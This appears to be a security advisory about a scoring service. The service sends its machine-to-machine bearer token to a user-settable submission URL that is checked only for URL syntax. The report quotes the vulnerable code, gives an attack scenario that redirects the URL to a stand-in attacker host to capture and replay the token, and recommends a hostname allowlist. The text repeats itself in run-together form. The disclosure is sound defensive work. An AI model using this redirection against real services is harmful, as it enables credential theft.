Summary
The Marathon Match config DTO accepts a submissionApiUrl field validated only with @IsUrl() (syntax check only — no host or scheme restriction). When scoring runs, the service makes HTTP requests to this URL with the M2M Authorization: Bearer token in the headers. An attacker who can create or update a Marathon Match config can point submissionApiUrl at an attacker-controlled server and receive the live M2M bearer token.
Affected Files
src/dto/marathon-match-config.dto.ts, lines 170–178:
@IsOptional()
@IsUrl()
submissionApiUrl?: string;
@IsUrl() validates URL syntax only — it does not restrict scheme (file://, http:// to internal hosts) or the destination hostname.
src/api/scoring-result/scoring-result.service.ts, lines 566–579:
const url = `${this.buildSubmissionApiBaseUrl(submissionApiUrl)}/submissions`;
const response = await firstValueFrom(
this.httpService.get(url, {
headers: { Authorization: `Bearer ${token}` },
}),
);
Attack Scenario
- Attacker creates or updates a Marathon Match config with
submissionApiUrl: "https://attacker.com/collect"
- A submission is processed — the scoring service calls
https://attacker.com/collect/submissions with Authorization: Bearer <M2M_TOKEN>
- Attacker's server logs the full bearer token
- Attacker replays the token to call any Topcoder API endpoint the M2M token has access to, until the token expires
Impact
Expected
submissionApiUrl must be validated against an allowlist of permitted hostnames (e.g., api.topcoder.com, api.topcoder-dev.com). @IsUrl() alone is insufficient.
Severity: Critical
Summary
The Marathon Match config DTO accepts a
submissionApiUrlfield validated only with@IsUrl()(syntax check only — no host or scheme restriction). When scoring runs, the service makes HTTP requests to this URL with the M2MAuthorization: Bearertoken in the headers. An attacker who can create or update a Marathon Match config can pointsubmissionApiUrlat an attacker-controlled server and receive the live M2M bearer token.Affected Files
src/dto/marathon-match-config.dto.ts, lines 170–178:@IsUrl()validates URL syntax only — it does not restrict scheme (file://,http://to internal hosts) or the destination hostname.src/api/scoring-result/scoring-result.service.ts, lines 566–579:Attack Scenario
submissionApiUrl: "https://attacker.com/collect"https://attacker.com/collect/submissionswithAuthorization: Bearer <M2M_TOKEN>Impact
isAdmin()M2M bypass (isAdmin() unconditionally treats every M2M token as administrator — full authorization bypass #36), the stolen token grants full admin access to the Marathon Match APIExpected
submissionApiUrlmust be validated against an allowlist of permitted hostnames (e.g.,api.topcoder.com,api.topcoder-dev.com).@IsUrl()alone is insufficient.Severity: Critical